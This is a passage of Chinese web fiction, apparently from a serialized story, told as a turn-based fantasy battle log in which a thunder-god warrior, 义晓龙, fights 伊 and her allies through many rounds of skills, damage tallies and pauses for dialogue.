姜北谷子使用血雾弥漫,尸横遍野!,消耗本回合剩余全部行动数,释放绝对的致命攻击!平地二连斩接空中回旋三连斩,最后一记落地下劈斩出十米剑光,其招式华丽无比令人惊叹。 “死亡,并不是战士的终点。” 义晓龙使用雷索横渡,成功格挡! 雷踏使用连续冲撞,伊躲开了。 义晓龙使用强化自身(使用雷之印·雷打不动、雷之印·雷厉风行),六回合内大幅度提升防御力,受击伤害部分转化为能量,两回合速度属性提升60%,下一次攻击必定先手。 义晓龙使用雷之印·紫霆流转,对姜北谷子造成300点伤害,对姜北谷子施加四层感电。姜北谷子身负两层雷神之召。中途姜北谷子进行了防御,抵消掉200点所受伤害。 义晓龙使用雷之印·挥阵雷闪,对姜北谷子造成210点伤害,对姜北谷子施加三层感电、一层雷隐。姜北谷子身负五层雷神之召。中途姜北谷子进行了防御,抵消掉150点所受伤害。 不死耶稣使用祷告·王之治疗,恢复全体人员共计3200点生命。 不死耶稣使用祷告·黑龙卡尤迪的魔焰,对义晓龙造成102点伤害,对义晓龙施加了三层魔焰一层燃烧。 伊使用光之剑ii型·一闪流,对义晓龙造成21点伤害,义晓龙被施加了三回合的威力增幅无效化效果。 伊使用光之剑iii型·爆杀流,义晓龙使用雷之印·紫霆流转,成功格挡! 陌使用亡灵召唤,场上生成了四只亡灵。 远古骷髅王,等级99,血量600,战斗力500,速度等级v,单回合四行动,介绍:远古时期的骷髅王者,当代死灵术士陌手中最强大的亡灵。 至尊骷髅侠,等级85,血量350,战斗力361,速度等级iv,单回合四行动,介绍:一个实力强大的骷髅,当代死灵术士陌手中第二强的亡灵。 黑斗笠,等级82,血量210,战斗力345,速度等级iv,单回合双行动,介绍:一个实力强大的骷髅,当代死灵术士陌手中第三强的亡灵。 幽灵裁缝,等级70,血量100,战斗力207,速度等级iii,单回合双行动,介绍:曾追随陌的裁缝,在死后仍追随他的脚步。 场上生成的骷髅每回合均只能行动一次。 陌使用魔法·火雷混合,对义晓龙造成161点伤害,对义晓龙施加了九层烧伤、两层燃烧。 远古骷髅王使用蚀骨横扫,义晓龙使用紫霆流转,成功格挡! 至尊骷髅侠使用武林奥义,被义晓龙躲开了。 黑斗笠使用居合斩,对义晓龙造成98点伤害。 幽灵裁缝使用缝织的技艺,给予全体友方人员200点护甲值(额外血量)。 义晓龙血量1221 第二回合,姜北谷子受到70点雷电伤害,感电层数减3。义晓龙受到65点魔焰伤害,魔焰层数清零。义晓龙技能触发,本回合额外行动两次。姜北谷子技能:剑术解放触发,强大的意志战胜自然而得到驾驭风的力量,银之荆棘相关技能解锁,战斗架势切换为真切。义晓龙恢复350点生命。伊恢复50点生命。姜北谷子恢复72点生命。 小咒刀先手攻击。 小咒刀使用众神的凝视,义晓龙下一次攻击必定瞄准自己。 小咒刀使用魔影斩二式,义晓龙使用雷之印·挥阵雷闪,成功格挡! 姜北谷子使用轮音切云,对义晓龙造成132点伤害。义晓龙身负四层银之荆棘。 雷踏使用治愈术·雷,义晓龙恢复300点生命,下一次受到的伤害只会有10%。 姜北谷子使用龙·铭龙闹天,对义晓龙造成207点伤害。义晓龙身负六层银之荆棘。 雷踏使用雷枪飞射,对姜北谷子造成了120点伤害,并施加了三层感电。 义晓龙使用雷之印·潮云闪舞,致命攻击!对姜北谷子、不死耶稣、黑斗笠三人均造成180点伤害,并对其施加两层感电、一层雷隐。姜北谷子等人获得一层雷神之召。 义晓龙使用雷之印·天雷化音,出其不意!对姜北谷子造成200点伤害,并施加两层感电。姜北谷子身负九层雷神之召。 姜北谷子血量归零,败北。 义晓龙使用雷神印·天雷一闪,消耗场上七层雷神之召,致命攻击!对不死耶稣造成490点伤害,并施加五层感电、两层雷隐、一层正面增益无效化。不死耶稣进入晕厥状态,两回合无法行动。 不死耶稣血量归零,败北。 义晓龙使用雷之印·潮云闪舞,致命攻击!对黑斗笠、幽灵裁缝、陌三人造成191点伤害,并对其施加两层感电、一层雷隐。陌使用魔法格挡,并没有受到任何伤害。黑斗笠等人获得一层雷神之召。 幽灵裁缝血量归零,败北。 义晓龙使用雷之印·挥阵雷闪,出其不意!对黑斗笠造成235点伤害,并施加了三层感电、一层雷隐。黑斗笠身负四层雷神之召。 黑斗笠血量归零,阵亡。 远古骷髅王使用王室礼仪,对义晓龙造成139点伤害。 伊使用光之工坊·骑枪,对义晓龙造成56点伤害,下回合第一次攻击伤害提升35%。 伊使用光之工坊·链刃,对义晓龙造成78点伤害,给予自身一层耐性效果。 陌使用死灵术·复活,场上所有死去的亡灵复活。 陌使用大荒星陨落,义晓龙使用天雷化音,格挡失败!义晓龙受到365点伤害,且被施加了三层虚弱。 战斗暂停中...... 伊: “好......好强!” 铃兰花: “我滴娘诶!这真的是人能达到的实力吗?太恐怖了吧。” 陌: “只是几招就将银骨剑圣他们击败,这实力属实恐怖。” 姜北谷子: “咳......不赖吗。还真有当年那些天神天将的几分风采呢。——唉......我还是老了呀,当年的风采再难展露了。” 不死耶稣: “真是棘手呢......” 黑斗笠: “注意!这家伙的所有攻击都是毁灭性的。” 远古骷髅王: “吼吼!很久没有遇到这么带劲的敌人了。” 至尊骷髅侠: “小心行事,方能胜利。” 幽灵裁缝: “大家不要气馁。加油!我们一定可以战胜对方的。你说对吧,主人......” 陌: “说的不错。——全员注意!稳扎稳打、小心谨慎些!” 伊等人: “明白!” 战斗继续...... 第三回合,义晓龙技能触发,自身恢复500点生命,义晓龙将战斗架势切换为孤将,每回合行动行动数为4。天空变得阴沉下来,沉闷的雷声炸响在云层当中。伊借机检查了一下对方的情况。 雷踏目前剩余529点生命。 义晓龙目前剩余800点生命。 见到敌人的状态之后,伊不禁咽了咽口水,表情变得凝重了起来。 伊的意志等级提升,速度等级提升为iv,每回合行动数加1,琶舞风格下不提供行动数加成。 小咒刀先手攻击。 小咒刀使用诅咒侵袭,被义晓龙躲开了。 小咒刀使用魔影斩三式,对义晓龙造成了86点伤害,义晓龙本回合行动数减1。 三者速度等级相同,轮流进行攻击。 姜北谷子技能触发,全属性伤害提升65%,防御力降低为0。 姜北谷子使用轮音切云,对雷踏造成101点伤害。 雷踏使用冲锋,对陌造成65点伤害,陌出招的命中率降低。 义晓龙雷之印·风雷一心,强化本回合全部攻击,本回合额外行动两次,琶舞状况下变为一次,攻击消减对方增益层数。 姜北谷子使用血雾弥漫,尸横遍野!,消耗本回合剩余全部行动数,释放绝对的致命攻击!平地二连斩接空中回旋三连斩,最后一记落地下劈斩出十米剑光,其招式华丽无比令人惊叹。 “死亡,并不是战士的终点。” 雷踏受到506点伤害,且被施加了二十五层流血。姜北谷子恢复154点生命,雷踏身负四层银之荆棘。 雷踏技能触发,自身负面属性清除,并以400点生命重生。 雷踏使用雷云化影,对陌和不死耶稣施加三层感电,干扰敌方全体人员的攻击,友方闪避率提升。 义晓龙使用雷之印·雷索横渡,对黑斗笠、不死耶稣、幽灵裁缝三人均造成420点伤害,并施加五层感电、两层雷隐。黑斗笠三人身负一层雷神之召。 黑斗笠、不死耶稣、幽灵裁缝再度败北。 义晓龙使用雷之印·紫霆流转,远古骷髅王使用王之气场,成功反制!义晓龙受到129点伤害。 义晓龙使用雷神印·万军霆灭,消耗十二层雷神之召,致命攻击!对敌方全体人员均造成720点伤害,并对敌方全体人员施加八层感电、三层雷隐、一层正面增益无效化,伊进入二级麻痹状态。陌被雷神的力量禁锢了。陌使用魔法·元祖洪流盾,成功格挡!陌免疫此次攻击的伤害。姜北谷子技高一筹,使用闪避躲开了。 血量归零,远古骷髅王、至尊骷髅侠败北。 伊血量归一,进入濒危状态!伊的技能:锁被动触发,义晓龙三次行动数内无法行动。 伊使用光之工坊·充能大剑,雷踏使用无畏冲锋,应对失败!雷踏受到142点伤害,雷踏下一回合行动数减1。 伊使用光之工坊·斩马刀,雷踏使用践踏,应对失败!雷踏受到101点伤害,雷踏下一回合的进攻属性降低50%。 第四回合,陌受到45点雷电伤害,感电层数减3。伊受到150点雷电伤害,感电层数减少5。 义晓龙技能触发,本回合额外行动两次。雷踏技能触发,本回合额外行动一次。伊进入仙主强化状态,血量变为300点,速度等级变为v,单回合五行动,琶舞状态下单回合三行动,给予自身永久的仙·全属性增幅效果。姜北谷子技能:银之荆棘上的红玫瑰发动,银之荆棘的潜力完全激发,该技能永久给予持剑人血与银玫瑰效果,本回合行动数加4,琶舞状态下只会增加两次行动数。 义晓龙恢复350点生命。伊恢复50点生命。姜北谷子恢复38点生命。小咒刀先手攻击。 小咒刀使用躯壳贯穿,出其不意!对义晓龙造成89点伤害。 小咒刀使用唐氏三连斩,被义晓龙躲开了。 三者速度等级相同,轮流进行攻击。 姜北谷子使用银之荆棘·绝响噤嚣,消耗五层银之荆棘,致命攻击!释放噤与嚣的夺命二连斩。 “一剑断,念无尘。” 义晓龙使用闪避躲开了。 雷踏使用雷霆冲锋,伊使用光之工坊·盾牌,格挡失败!伊受到31点伤害,并被施加了三层感电。 义晓龙使用雷之印·天雷化音,姜北谷子使用覆水难收,成功格挡! 姜北谷子使用极技·鸿星七连斩,消耗自身35%的核心能量释放致命绝技!势不可挡的夺命七连斩打出,一剑红、一剑紫、一剑夺命、一剑断魂,其场面震撼无比。绚丽的剑气附在剑上飞舞,神圣的烈焰爆发在剑的每一次碰撞,其速度之快连空气都被轻易撕裂。 “砍!劈!扫!崩!刺!挑!斩!!!” 连斩之后姜北谷子目光所及之处,再无生命伫立。 义晓龙使用雷之印·挥阵雷闪格挡,格挡部分失败!义晓龙受到455点伤害,义晓龙进入一级麻痹状态。姜北谷子恢复31点生命。义晓龙身负八层银之荆棘。 雷踏使用雷神的旨意,义晓龙承受的全部伤害都将转移到雷踏身上,义晓龙本人在雷踏存在期间伤害提升25%。 义晓龙使用雷之印·挥阵雷闪,姜北谷子使用银之荆棘·血之绽放,成功反制!义晓龙受到98点伤害。义晓龙身负十层银之荆棘。 姜北谷子使用银之荆棘·千禧武闪,消耗五层银之荆棘,出其不意!对雷踏造成301点伤害,并施加了八层破甲。雷踏陷入二级麻痹状态。 雷踏血量归零,化成能量回到义晓龙身上。义晓龙永久获得五层力量、耐性、速度、再生、防御。 义晓龙使用雷之印·紫霆流转,姜北谷子使用闪避,闪避失败。姜北谷子受到215点伤害,且被施加四层感电。姜北谷子身负两层雷神之召。 姜北谷子使用银之荆棘·千禧武闪二连,消耗十层银之荆棘,出其不意!对义晓龙造成301点伤害。义晓龙进入二级麻痹状态。 义晓龙使用雷之印·天雷化音,姜北谷子使用银之荆棘·鬼灭之刃,招架失败!姜北谷子受到362点致命伤害,并被施加了两层感电。姜北谷子身负三层雷神之召。 姜北谷子再度败北。 义晓龙使用仙术·神之治愈,恢复500点生命。 义晓龙使用雷之印·神雷化躯,强化下五次攻击,攻击进行期间攻击身负感电效果的敌人会给予自身25点额外生命。自身增加300点额外生命。 伊使用连击·联合(光之剑ii型·一闪流+卡娜铃兰的技巧之三蝴蝶),出其不意!对义晓龙造成137点伤害,义晓龙被施加了三回合的威力增幅无效化效果。xxx身负两层皓月铃兰。 伊使用连招·光之连击(光之剑iv型·神威流+光之工坊·链刃+光之工坊·骑枪),对义晓龙造成200点伤害,义晓龙下一次攻击所造成的伤害在原本的1%到50%之间,给予自身一层耐性效果,下回合第一次攻击伤害提升35%。 第五回合,伊受到45点雷电伤害,感电层数减5。义晓龙技能触发,雷神的力量汇聚在战场之中,义晓龙给予伊等人五层感电、十层雷神之召。陌技能触发,给予伊两回合的十层再生、防御、耐性,并清除伊身上的正面增益无效化效果和麻痹效果;本回合开幕施展大范围杀伤技能,本回合额外行动一次。 义晓龙恢复350点生命。伊恢复200点生命。陌先手攻击。 陌使用传奇级法术·焚天,致命攻击!对义晓龙造成1000伤害,并施加了三十层烧伤和五层燃烧。义晓龙采取防御措施,抵消掉500点伤害。 小咒刀使用躯壳贯穿,出其不意!对义晓龙造成91点伤害。 小咒刀使用魔影穿刺,出其不意!对义晓龙造成123点伤害,义晓龙本回合防御力大幅度降低。 义晓龙使用雷打不动,三回合内大幅度提升防御力,受击伤害部分转化为能量。 义晓龙雷之印·雷厉风行,速度属性两回合内提高60%,下一次攻击必定先手,清除所有麻痹效果。 义晓龙使用雷之印·天雷化音,陌使用法术·鬼手撕裂,格挡失败!陌受到140点伤害,并被施加了两层感电。陌进入麻痹状态。陌身负八层雷神之召。义晓龙获得100点额外生命。 义晓龙使用雷之印·挥阵雷闪,伊使用中二极技·核爆开山掌,招架失败!伊受到163点伤害,并被施加了三层感电、一层雷隐。伊身负八层雷神之召。义晓龙获得25点额外生命。 伊使用中二少女的魔力(燃起来了!我的中二之魂+聚精会神),下一个使用的辅助类技能实际效果翻倍,使用攻击类技能则只会提升50%,三回合内造成的伤害提升30%,但受到的伤害会提高50%。 伊使用emw连击,伊召唤出ecl-40冥河使者的emw:冥河提灯,挥灯砸击、凝聚冥火、释放轰击,一系列操作下去,对义晓龙造成了67点伤害。 突发情况!emw-40专属技能触发,伊获得释放极技的机会。 伊使用极技·十八道狱的阎罗,十八团包裹着紫色烈焰的黑火球在伊的身后,伊通过意念操纵它们,随即释放威力巨大的冥河轰杀。 “应冥河的指令,湮灭你!!!” 十八颗冥河火球如炮弹般飞了出去,它们摧毁了一切阻挡在它们面前的事物,一阵爆炸声之后现场只剩下了宁静。 义晓龙受到201点伤害,追加0.78点灵魂伤害,并施加二十层烧伤、五层冥河之火、三层燃烧。义晓龙灵魂量仅剩0.52。义晓龙自身全部属性降低40%,所有增益效果层数减少50%。 伊能量消耗太多,本回合陷入疲累状态。 陌使用死灵术·复活,场上所有死去的亡灵复活。 陌的法力不足30%,陌陷入魔法虚弱状态。 陌使用魔法·休养生息,下回合额外行动4次,琶舞状态下额外行动2次。 战斗暂停中...... 铃兰花: “哇!对方身上叠了这么多层烧伤,那他下回合开幕一定会被烧成灰的!” 伊: “嗯。——等等......他在干什么?不对......不好!” 义晓龙使用雷神的力量,消耗自身30%仙力清空所有烧伤与燃烧效果。 铃兰花: “伊!他耍赖!明明不是他的行动回合,凭什么他可以行动?这是妥妥的玩不起啊!” 伊: “可恶!这到底是怎么一回事?” 义晓龙: “没时间陪你玩过家家......” 伊和铃兰花: “诶?” 义晓龙: “力量掌握在心里,随时都可以用。无知......” 伊: “诶?还有这么一说的吗?” 伊也试了试,无事发生。 伊: “做不到呢......看样子,人和人的体质不能一概而论呀。” 铃兰花: “注意!伊,他什么又冒气了。而且这次......比上次的那位要强!” 伊: “唔......我知道了。” 战斗继续...... 联盟国—第十六话:雷电将军(中) 书接上文...... 第六回合,陌受到75点雷电伤害,感电层数减减3。伊受到45点雷电伤害,感电层数减6。义晓龙受到66点火焰伤害,冥河之火层数减3。 义晓龙意志等级提升,紫色携雷斗气泛起在他的身上,天空中雷声大作,一场狂风呼啸而来。义晓龙技能触发,本回合额外行动两次,本回合第一招必定是先手攻击。义晓龙恢复305点生命。伊恢复200点生命。姜北谷子恢复71点生命。义晓龙先手攻击。 义晓龙使用雷神印·万军霆灭,消耗十二层雷神之召,致命攻击!对敌方全体人员均造成1024点伤害,并对敌方全体人员施加八层感电、三层雷隐、一层正面增益无效化。陌被雷神的力量禁锢了。陌使用魔法·天之穹顶,成功格挡!陌、伊还有不死耶稣免疫此次攻击的伤害。姜北谷子故技重施再次躲开。 至尊骷髅侠、远古骷髅王、幽灵裁缝再度败北。 黑斗笠血量归零,多次的复活令他的躯体再难承受这样的浩劫,他最后选择了死亡。黑斗笠......彻底败北! 天空中落下数道雷电,仅劈中了伊一人。所幸不死耶稣使用雷系祷告将雷电的伤害转化成法力,伊才免于受难。伊身上的雷隐效果清空。 小咒刀使用乱砍一气,被义晓龙躲开了。 小咒刀使用众神的凝视,义晓龙下一次攻击必定瞄准自己。 义晓龙雷之印·风雷一心,强化本回合全部攻击,本回合额外行动两次,攻击消减对方增益层数。 姜北谷子使用覆水难收,义晓龙使用雷之印·雷索横渡,成功格挡! 义晓龙使用雷神印·天雷一闪,消耗七层雷神之召,对姜北谷子造成490点伤害,并施加五层感电、两层雷隐。姜北谷子采取防御措施,抵消310点伤害。姜北谷子陷入晕厥状态,本回合无法行动。 义晓龙使用雷之印·潮云闪舞,不死耶稣使用龙之祷告·怒吼,成功格挡! 义晓龙使用雷之印·挥阵雷闪,不死耶稣使用血魔祷告·恐水症,成功格挡! 义晓龙使用雷之印·紫霆流转,不死耶稣使用传奇祷告·宇宙洪荒,成功格挡! 义晓龙使用雷之印·御流刃雷,致命攻击!对不死耶稣造成465点伤害,并施加五层感电、两层雷隐。不死耶稣身负一层雷神之召。 不死耶稣施展最终祷告·上帝的宽慰,伊获得了一次满血复活的机会。 “这是我最后的祷告了......收下吧......” 不死耶稣血量归零,他带着几分愧疚倒下了,彻底败北! 战斗暂停中...... 伊: “老骨爷爷——!!!” 小咒刀: “老骨头!操!队友挂了一个。” 陌: “不死耶稣——,该死的!” 姜北谷子: “兄弟......你放心,你的仇我们给你报!” 义晓龙: “死了一个......呵,战斗变得有趣起来了呢。” 战斗继续...... 义晓龙使用雷之印·御流刃雷,致命攻击!对陌造成378点伤害,并施加五层感电、两层雷隐。陌身负一层雷神之召。 伊使用ema激活协议,ema-43-1穿戴在伊的身上,伊化身为女版黑死神。伊的防御力小幅度提升,黑死神部分相关技能解锁。 伊使用武林绝学·崩山拳,消耗本回合全部行动数,伊的身上爆出金色斗气。伊对义晓龙打出朴实无华但致命的一拳。 “寸劲......开天!哦拉——” 义晓龙受到122点伤害,且被施加五回合的麻痹。 战斗暂停中...... 铃兰花: “伊......” 伊: “怎么了?” 铃兰花: “我看不到这场战斗有胜利的希望......怎么办?我们该怎么做才好呢?” 伊: “......不能这么早就下定论。谁胜谁败还不一定呢。” 铃兰花: “我丈夫曾教过我一个道理:绝对不要打一场没有胜算的战斗。——我觉得眼下的情况正是如此。” 伊: “是吗?” 铃兰花: “接下来,你如何决定?” 伊沉默了一会,然后露出一抹自信的笑容。 伊: “无论如何......我都选择希望。——星北空曾经告诉过我,生命的伟大在于无畏的挑战,哪怕代价是粉身碎骨呢。” 铃兰花: “好蠢的话!不过......我为你这份勇气点赞。” 这时,一块发光碎片融入伊的身体,卡娜铃兰相关技能又解锁了三分之一。 伊: “诶?这是......” 铃兰花: “拿上它,我们一起并肩作战吧。” 伊: “卡娜铃兰,你......” 铃兰花: “其实我啊......曾经也是个中二的家伙呢。” 伊: “哼,看来我们是同道中人呀。” 铃兰花: “战后再聊吧!当心!他攻过来了!” 战斗继续...... 第七回合,陌受到75点雷电伤害,感电层数减4。姜北谷子受到50点雷电伤害,感电层数减5。伊的意志等级提升,伊进入“完全的实力解放”状态,伊永久获得5层速度和3层力量。义晓龙恢复305点生命。伊恢复200点生命。姜北谷子恢复32点生命。小咒刀先手攻击。 小咒刀使用躯壳贯穿,被义晓龙躲开了。 小咒刀使用魔影凝视·血流千里,致命攻击!对义晓龙造成666点神明伤害,消减义晓龙最大生命值10%的生命,赋予百分比伤害!永久减少义晓龙一次回合行动数。 义晓龙血量归零,但他并未如伊预料般的倒下。义晓龙收起他的矜持,天气也如他的情绪一般变化莫测,他全身腾起的紫色雷火斗气预示着一场风暴的到来。 战斗暂停中...... 小咒刀: “看!主人。我还是蛮强的吗。” 伊: “干得漂亮!小咒刀。” 小咒刀: “过奖过奖。也就轻轻松松......” 这时,眼光敏锐的陌察觉到了不对劲,他打断了小咒刀的话。 陌: “别轻敌!对方还没有完全倒下。” 小咒刀: “唔......啥?!” 陌: “我想......也许真正的战斗现在才刚刚开始。” 事情真如陌所言,战斗还远没有结束,真正的战斗现在才刚刚开始。 义晓龙: “哦......看样子你们还蛮棘手的吗。” 雷神的力量注入他的身体,他的神之眼发出了更加明亮的光。周围的空气中开始涌动起电弧婀娜的身姿,阴冷的狂风卷动斗气在战场中飞舞。 雷神·义晓龙: “不过......也就到此为止了。” 义晓龙在一道雷光中变身了。他以雷神将军的姿态出现在众人面前,其压迫感不言而喻,宛如真神下凡。他手中的三尖两刃刀已然变为弑杀神明的传奇武器:雷之号角,这说明他要以命相搏了。 雷神·义晓龙: “无需多言......黄泉路见。” 战斗继续...... 义晓龙技能:实力解放触发,神备·雷神佐革夫激活。义晓龙血量变为2000点,速度等级提升为vi,单回合七行动,琶舞状态下单回合四行动,免疫大部分的负面效果,每回合固定恢复300点生命,每击杀一名敌人就会恢复200点生命,清空自身增益属性,又给予自身十层力量、速度、耐性、防御、再生。义晓龙的灵魂在雷神的帮助下恢复正常,义晓龙的全部属性随之,诅咒也被清除了。孤将效果的速度等级与行动数提升无效化。 雷神的怒火令义晓龙在本回合变得格外强大。 义晓龙使用雷之印·御流刃雷,致命攻击!对陌造成407点伤害,并施加五层感电、两层雷隐。陌身负两层雷神之召。 陌技能:起死回生触发,以500点生命重生于战场之上,且本回合无法被杀死;若本回合没有触发锁血,则下一回合开始时给予友方全体人员五层力量、速度、再生。陌进入ecl强化状态,血量变为1000点,速度等级提升至v,回合行动数加1,琶舞状态下提升效果为0,给予自身五层力量、再生、速度、防御、耐性。 义晓龙使用雷之印·挥阵雷闪,致命攻击!对姜北谷子造成301点伤害,并施加了三层感电、一层雷隐。姜北谷子身负四层雷神之召。 姜北谷子再度败北。 义晓龙使用雷之印·天雷化音,出其不意!对伊造成255点伤害,并施加两层感电。伊进入麻痹状态。伊身负三层雷神之召。 义晓龙使用雷之印·紫霆流转,致命攻击!对伊造成410点伤害,对伊施加四层感电。伊身负五层雷神之召。 伊血量归零,ema-43-1的技能触发。 伊使用极技·命运的死神,伊使用死神镰刀对义晓龙进行处决。一道檀紫色的刀光划过,一颗头颅或是一颗灵魂迎来了陨落。义晓龙受到444点神明伤害,并被施加了一层威力增幅无效化。伊身上的ema-43-1消失,起码需要等待三天的冷却才可再次召唤。伊恢复到满血满状态。 义晓龙使用雷之印·挥阵雷闪,致命攻击!对伊造成300点伤害,并施加了三层感电、一层雷隐。伊身负八层雷神之召。 伊消耗一次复活机会,又一次恢复到满血满状态。 伊使用光之契约·天舞,消耗所有累积的光,施展致命攻击!伊变出一把光之巨剑,又变出一对光之翼安在背后,然后一个健步跃起来到义晓龙身旁。 “请你和我跳支舞吧,拜托喽~~~” 伊施展华丽的剑舞,义晓龙以一种痛苦的方式表演着舞蹈。表演完成后,战场上只剩下了掌声。 义晓龙受到了267点伤害。伊全身的负面属性清除,伊恢复了200点生命。 伊使用连招·卡娜铃兰流(卡娜铃兰的技巧之梨花绽+卡娜铃兰的技巧之樱花散+卡娜铃兰的技巧之蔷薇之刺),对义晓龙造成278点伤害。中途义晓龙使用龙腾挥斩进行反制,伊受到210点伤害,并被施加了三层感电、雷隐。伊身负十层雷神之召。义晓龙身负十层皓月铃兰。 陌使用高阶死灵术·亡灵仪式,场上可以被复活亡灵的复活,并清空自身全部负面效果。 陌使用究极法术·元能爆破,致命攻击!对义晓龙造成678点伤害。 第八回合,义晓龙技能触发,本回合额外行动两次,本回合第一招必定是先手攻击。义晓龙恢复450点生命。伊恢复200点生命。义晓龙先手攻击。 义晓龙使用雷神印·天雷一闪,消耗七层雷神之召,对陌造成351点伤害,并施加五层感电、两层雷隐。陌采取防御措施,抵消240点伤害。陌陷入晕厥状态,本回合无法行动。 小咒刀使用精准切割,对义晓龙造成93点伤害。 小咒刀使用魔影斩三式,对义晓龙造成了86点伤害,义晓龙本回合行动数减1。 义晓龙使用雷之印·潮云闪舞,致命攻击!对至尊骷髅侠、幽灵裁缝、远古骷髅王三人造成252点伤害,并对其施加两层感电、一层雷隐。至尊骷髅侠等人获得一层雷神之召。 至尊骷髅侠和幽灵裁缝血量归零,彻底败北!义晓龙恢复400点生命。 义晓龙使用雷之印·挥阵雷闪,远古骷髅王使用亡命十七连,反制失败!远古骷髅王受到304点伤害,并被施加了三层感电、一层雷隐。远古骷髅王身负四层雷神之召。 远古骷髅王血量归零,他带着几分不甘倒下了,彻底败北!义晓龙恢复200点生命。 远古骷髅王将远古之王的力量给予给伊,伊的伤害属性得到小幅度提升。 义晓龙使用雷之印·紫霆流转,出其不意!对陌造成410点伤害,并施加四层感电。陌身负两层雷神之召。 义晓龙使用雷之印·御流刃雷,致命攻击!对陌造成478点伤害,并施加五层感电、两层雷隐。陌身负三层雷神之召。 义晓龙使用雷之印·天雷化音,出其不意!对陌造成255点伤害,并施加两层感电。陌进入麻痹状态。陌身负六层雷神之召。 陌技能:永燃之心触发,血量锁至1点,从下一回合开始才能归零血量。 伊使用组合强化(光之子的决意+聚精会神+太极·积蓄力量),本回合能量消耗翻倍,但整体伤害x1.25,下一次攻击必定是先手攻击,下一次攻击的伤害提升65%,下一个技能的伤害提高1%至200%,使用该技能后两回合内受到的伤害额外增加40%。 伊使用卡娜铃兰的绝技·铃兰花舞会,消耗五层皓月铃兰,致命攻击!伊使用姿态优美的舞蹈式斩击,飞快打出八次致命的攻击,紧接着凑近敌人释放华丽的蝴蝶剑舞,在这支致命之舞进行的时候,空中开始飘洒铃兰花...... “花开了......我思念着的人啊,你现在还好吗?” 一记致命的蝴蝶斩打出,一场华丽的舞蹈迎来落幕。 义晓龙受到423点伤害。 陌使用末日之星,致命攻击!对义晓龙造成303点伤害,并施加十层烧伤和两层燃烧。 陌使用究极魔法·圣天誓盟,自己死亡前所制定的角色不会受到任何伤害。陌指定的角色是伊。 第九回合,陌受到240点雷电伤害,感电层数减少8点。义晓龙受到75点火焰伤害,烧伤层数减少8,燃烧层数减少2。 义晓龙技能触发,雷神的力量赐予义晓龙15层雷神之召效果,义晓龙本回合的攻击全部迎来强化。陌技能触发,回合开幕时使用致命交锋技能,这一技能将决定两人的生死。义晓龙恢复450点生命。伊恢复200点生命。小咒刀先手攻击。 天空中落下数道闪电,仅仅劈中了陌一人,陌受到210点雷电伤害。陌身上的雷隐效果清零。 陌向义晓龙发起了最后的佚亡交锋。 陌使用死灵奥义·惊惧混刃,连续挥斩打出华丽的七道魂体刀光。 义晓龙使用雷之神·极原天照,挥舞手中的兵器施展雷神的威压。 陌打出了74点进攻点数,义晓龙打出了120点进攻点数,陌交锋失败,随后迎接这一招全部的伤害。 义晓龙使用雷之神·极原天照,消耗三十层雷神之召,致命攻击!义晓龙旋转手中的兵器,一条如蛟龙般腾飞的电流从他的兵刃尖端冒出,后升入天空形成大电流之势,刹那间雷神阵法浮现在义晓龙身后。 “雷,顷灭尔等也。散去随光,目留尘埃。” 义晓龙腾空而起,使出一套华丽的枪舞。一道雷光过后,群敌退散! 伊和陌共受到3001点伤害,陌被施加了十层感电、十五层雷隐,陌陷入满级麻痹。伊安然无恙。 陌血量归零,最终的生死博弈他并未取得胜利,他倒下了,彻底败北!义晓龙恢复200点生命。 陌使用最后的死灵召唤,姜北谷子重返战场。 “这是我现在能为你做的......最后一件事了,伊小姐。剩下的......事,就靠你自己了......” 使用过这最后的技能后,陌变成凋零的花瓣消失了,现场仅留下一件法袍。 战斗暂停中...... 伊: “陌——!!!” 小咒刀: “怎么......怎么会?” 姜北谷子: “该死!还是来晚了一步......” 义晓龙: “又死了一个......” 姜北谷子: “又一个人离开了......可恶!” 伊: “雷电将军!人家今天必须要让你吃不了兜着走!伤害我朋友的家伙,绝不原谅!绝不姑息!” 义晓龙: “至少在骨气这一方面上,你们值得夸赞。” 战斗继续...... 伊愤怒了,她的怒气为她提供了一定量的核心能量与怒气效果。 小咒刀使用诅咒侵袭,对义晓龙造成41点伤害,义晓龙本回合受到伤害翻倍。 小咒刀使用魔影斩一式,对义晓龙造成122点伤害,永久减少义晓龙一次回合行动数。雷神的力量出现!该技能效果持续时间由永久削减为短时间。 义晓龙使用雷之印·挥阵雷闪,伊使用光之剑iv型·神威流,部分反制!伊受到125点伤害,并被施加了三层感电、一层雷隐。义晓龙受到85点伤害。伊身负两层雷神之召。 义晓龙使用雷之印·紫霆流转,致命攻击!对伊造成310点伤害,对伊施加四层感电。伊采取防御措施,抵消掉190点伤害。伊身负四层雷神之召。 姜北谷子使用极技·鸿星七连斩,消耗自身35%的核心能量释放致命绝技!势不可挡的夺命七连斩打出,一剑红、一剑紫、一剑夺命、一剑断魂,其场面震撼无比。绚丽的剑气附在剑上飞舞,神圣的烈焰爆发在剑的每一次碰撞,其速度之快连空气都被轻易撕裂。 “砍!劈!扫!崩!刺!挑!斩!!!” 连斩之后姜北谷子目光所及之处,再无生命伫立。 义晓龙使用雷之印·雷索横渡格挡,格挡部分失败!义晓龙受到244点伤害,义晓龙进入一级麻痹状态。姜北谷子恢复20点生命。义晓龙身负四层银之荆棘。 姜北谷子使用银之荆棘·千禧武闪,消耗五层银之荆棘,出其不意!对义晓龙造成211点伤害。义晓龙陷入麻痹状态。 伊使用组合强化(光之子的决意+聚精会神+治愈之声),消耗自身22%法力恢复300点生命,伊身上的负面状态层数减少50%。本回合能量消耗翻倍,但整体伤害x1.25,下一次攻击必定是先手攻击,下一次攻击的伤害提升65%, 伊使用卡娜铃兰的绝技·铃兰花舞会,消耗五层皓月铃兰,致命攻击!伊使用姿态优美的舞蹈式斩击,飞快打出八次致命的攻击,紧接着凑近敌人释放华丽的蝴蝶剑舞,在这支致命之舞进行的时候,空中开始飘洒铃兰花...... “你说它们盛开的样子一定很美丽,可惜我没有缘分去见到。我想,它们也许早就已经凋零......” 一记致命的蝴蝶斩打出,一场华丽的舞蹈迎来落幕。 义晓龙受到327点伤害。 第十回合,义晓龙技能触发,本回合额外行动两次,本回合第一招必定是先手攻击。义晓龙恢复450点生命。伊恢复200点生命。义晓龙先手攻击。 义晓龙使用雷神印·天雷一闪,消耗七层雷神之召,对姜北谷子造成450点伤害,并施加五层感电、两层雷隐。姜北谷子采取防御措施,抵消315点伤害。姜北谷子陷入晕厥状态,本回合无法行动。 小咒刀使用魔影斩三式,对义晓龙造成了86点伤害,义晓龙本回合行动数减1。 小咒刀使用诅咒侵袭,被义晓龙躲开了。 